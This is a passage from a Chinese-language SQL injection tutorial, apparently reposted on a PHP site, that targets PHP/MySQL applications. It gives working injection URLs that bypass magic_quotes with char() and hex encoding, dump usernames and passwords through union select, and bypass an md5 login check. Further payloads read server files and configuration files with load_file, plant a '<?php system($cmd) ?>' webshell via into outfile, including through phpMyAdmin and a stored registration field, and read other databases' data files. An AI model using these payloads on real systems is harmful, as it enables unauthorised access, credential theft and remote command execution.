| 正如我们期望的那样,他顺利执行了,我们得到我们想要的。
 当然咯,我们也可以这样构造
 
  http://localhost/site/admin/login.php?username=0x616C706861%23 sql语句变成:
 select * from alphaAuthor where UserName=0x616C706861%23# and Password=''
 我们再一次是成功者了。很有成就感吧,
 
 或许你会问我们是否可以把#也放在char()里
 实际上char(97,108,112,104,97)相当于’alpha’
 注意是alpha上加引号,表示alpha字符串。
 我们知道在mysql中如果执行
 
 mysql> select * from dl_users where username=alpha;
 ERROR 1054 (42S22): Unknown column 'alpha' in 'where clause'
 看返回错误了。因为他会认为alpha是一个变量。所以我们得在alpha上加引号。
 如下
 mysql> select * from dl_users where username='alpha';
 这样才是正确的。
 如果你把#号也放到那里去了,就成了’alpha#’
 带入sql语句中
 www~phperz~com select * from dl_users where username='alpha#';
 当然是什么也没有了,因为连alpha#这个用户都没有。
 好,下面我们再来看个例子,
 
 <?php
 //display.php
 ……
 $query="select * from ".$art_system_db_table['article']."
 where type=$type;
 ……
 ?>
 
 代码根据类型来显示内容,$type没有任何过滤,且没有加引号放入程序中。
 假设type中含有xiaohua类,xiaohua的char()转换后是
 char(120,105,97,111,104,117,97)
 
 我们构建
 
  http://localhost/display.php?type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor 带入sql语句中为:
 select * from ".$art_system_db_table['article']."
 where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor  phperz.com
 看看,我们的用户名和密码照样出来了哦!没有截图,想像一下咯:P
 
 2) 或许有人会问,在magic_quotes_gpc=On的情况下功能强大的load_file()还能不能用呢?
 这正是我们下面要将的问题了,load_file()的使用格式是load_file(‘文件路径’)
 我们发现只要把‘文件路径’转化成char()就可以了。试试看哦
 load_file(‘c:/boot.ini’)转化成
 load_file(char(99,58,47,98,111,111,116,46,105,110,105))
 图22
 
 放到具体注入里就是
 
  http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,load_file(char(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 看图23
 
 看看,我们看到了boot.ini的内容了哦。
 很可惜的是into outfile’’ 不能绕过,不然就更爽了。但是还是有一个地方可以使用select * from table into outfile’’ 那就是….(先卖个关子,下面会告诉你)
 phperz.com 三:一些注入技巧,很多都是个人发现哦
 1.union select的技巧
 UNION 用于将多个 SELECT 语句的结果联合到一个结果集中。在 SELECT 中的 select_expression 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。
 然而有我们可以用下面的方法来猜测列的类型,可是省去很多时间
 我们先
 
  http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 图24
 
 看看软件描述里写着3,作者里写着4,我们就可以猜测3和4的位置是字符型的,我们再看14前面的是下载次数,这就应该是int型的了,对吧。
 好了,我们根据这里来构建吧,估计username和password也是字符型的。
 试试看哦
 
  http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20dl_users  phperz.com 如图25
 
 哈哈,这种方法只要看看就可以大概猜到了。
 2.load_file读写文件的技巧
 不知道你有没有发现过在我们用load_file()读写php文件时不能在网页中显示。例如:
 'C:/apache/htdocs/site/lib/sql.inc.php'转化为16进制为:0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870
 我们构造如下
 
  http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11 如图26
 
 发现在文章内容的地方本来该显示sql.inc.php的,可是却空空之,为何呢?
 我们看看网页的源代码先
 图27
 
 哈哈,看看标记的地方,晕死,原来在这里啊,可是为什么哩?
 原来html中< >用于标注,哈哈,明白了吧!下次可得记得在哪里找哦。
 4. md5的恶梦
 山东大学的王博士最近可是搞md5搞的红透了,我们也来搞一搞吧,我们比他更爽,不用计算,哈哈。
 www.phperz.com md5我们是有办法绕过的,但是并不是哪里都可以,php中的md5函数就不能绕过,因为你输入的所有东西都在里面,根本跑不出。可以绕过的是sql语句中的md5。当然别的sql中的函数也是可以绕过的,道理相同哦。
 看例子先:
 <?php
 //login.php
 ……
 $query="select * from alphaauthor where UserName=md5($username) and Password='".$Pw."'";
 ……
 ?>
 我们直接在浏览器提交
 
  http://localhost/admin/login.php?username=char(97,98)) or 1=1 %23 带入sql语句成为select * from alphaauthor where UserName=md5(char(97,98)) or 1=1 #) and Password='".$Pw."'
 记得md5里面放的是字符,因为后面有or 1=2,所以我们随便放了个char(97,98). Ok,登陆成功了哦!看看,md5在我们面前也没有什么用处。
 5. 核心技术,利用php+mysql注入漏洞直接写入webshell。。
 直接利用注入得到webshell,这应该是大家都很想的吧,下面就教给你。  phperz.com
 这里假设你已经知道了网站所在的物理路径,我这里假设网站路径为c:/apache/htdocs/site。网站的mysql连接信息放在/lib/sql.inc.php里
 1)适用于magic_quotes_gpc=Off
 假设我们可以上传图片,或者txt,zip,等其它东西,我们把我们的木马改成
 jpg后缀的,上传后路径为/upload/2004091201.jpg
 2004091201.jpg中的内容为 <?php system($cmd) ?>
 好,我们开
  http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('C:/apache/htdocs/site/upload/2004091201.jpg'),4,5,6,7,8,9,10,11%20into%20outfile'C:/apache/htdocs/site/shell.php' 因为适用了outfile,所以网页显示不正常,但是我们的任务是完成了。
 如图28
 我们赶快去看
  http://localhost/site/shell.php?cmd=dir 如图29
 php程序员站 
 爽否?Webshell我们已经创建成功了。看到最前面的12了没?那就是我们select 1,2所输出的!
 2)下面再讲一个适用于magic_quotes_gpc=On的时候保存webshell的方法哦,显然肯定也能用在于magic_quotes_gpc=Off的时候啦。
 我们直接读他的配置文件,用技巧2介绍的方法
 
  http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870),4,5,6,7,8,9,10,11 得到sql.inc.php内容为
 <?$connect=@mysql_connect("localhost","root","") or die("Unable to connect to SQL server");mysql_select_db("alpha",$connect) or die("Unable to select database");?>
 好了我们知道了mysql的root密码了,我们找到phpmyadmin的后台
 
  http://localhost/phpmyadmin/  phperz~com 用root密码为空登陆。
 如图30
 然后我们新建立一个表结构内容如下:
 
 #
 # 数据表的结构 `te`
 #
 CREATE TABLE te (
 cmd text NOT NULL
 ) ENGINE=MyISAM DEFAULT CHARSET=latin1;
 
 #
 # 导出下面的数据库内容 `te`
 #
 INSERT INTO te VALUES ('<?php system($cmd) ?>');
 Ok,是我们用select * from table into outfile’’的时候了
 直接在phpmyadmin的sql输入
 SELECT * FROM `te` into outfile 'C:/apache/htdocs/site/cmd1.php';
 如图31
 
 Ok,成功执行,我们
  http://localhost/site/cmd1.php?cmd=dir看看效果去 如图32
 
 好爽的一个webshell是吧!哈哈,我也很喜欢。
 不过不知道大家有没有发现我们是在magic_quotes_gpc=On的情况下完成这项工作的,竟然在phpmyadmin里可以不用考虑引号的限制,哈哈,说明什么?说明phpmyadmin太伟大了,这也就是我们在谈magic_quotes_gpc=On绕过时所卖的那个关子啦!
 phperz.com 6.发现没有我们还可以利用update和insert来插入我们的数据,然后来得到我们的webshell哦,还用上面的那个例子,
 <?php
 //reg.php
 ……
 $query = "INSERT INTO members
 VALUES('$id','$login','$pass','$email',’2')" ;
 ……
 ?>
 我们在email的地方输入<?php system($cmd) ?>
 假设我们注册后的id为10
 那么我们可以再找到一个可以注入的地方
 
  http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20 into%20outfile'C:/apache/htdocs/site/test.php' 好了,我们又有了我们的wenshell了哦。
 7.mysql的跨库查询
 大家是不是一直听说mysql不能跨库查询啊,哈哈,今天我将要教大家一个好方法,通过这个方法来实现变相的跨库查询,方法就是通过load_file来直接读出mysql中data文件夹下的文件内容,从而实现变态跨库查询。  phperz.com
 举个例子啦
 在这之前我们先讲一下mysql的data文件夹下的结构
 Data文件夹下有按数据库名生成的文件夹,文件夹下按照表名生成三个后缀为frm,myd,myi的三个文件,例如
 Mysql中有alpha数据库,在alpha库中有alphaauthor和alphadb两个表,
 Alpha文件夹内容如下图33
 
 其中alphadb.frm放着lphadb表中的数据,alphadb.frm放着表的结构,alphadb.myi中放的内容随mysql的版本不通会有所不同,具体可以自己用记事本打开来判断。
 实验开始
 假设我们知道有另外的一个数据库yminfo210存在,且存在表user,user中放这admin的信息。
 我们
 
  http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201,2,load_file('yminfo210/user.myd'),4,5,6,7,8,9,10,11 说明一下,load_file默认所在的目录是mysql下的data目录,所以我们用
 load_file('yminfo210/user.myd'),当然load_file('.info210/user.myd')也是一样的,注意的是into outfile的默认路径是在所在的数据库文件夹下。
 
 |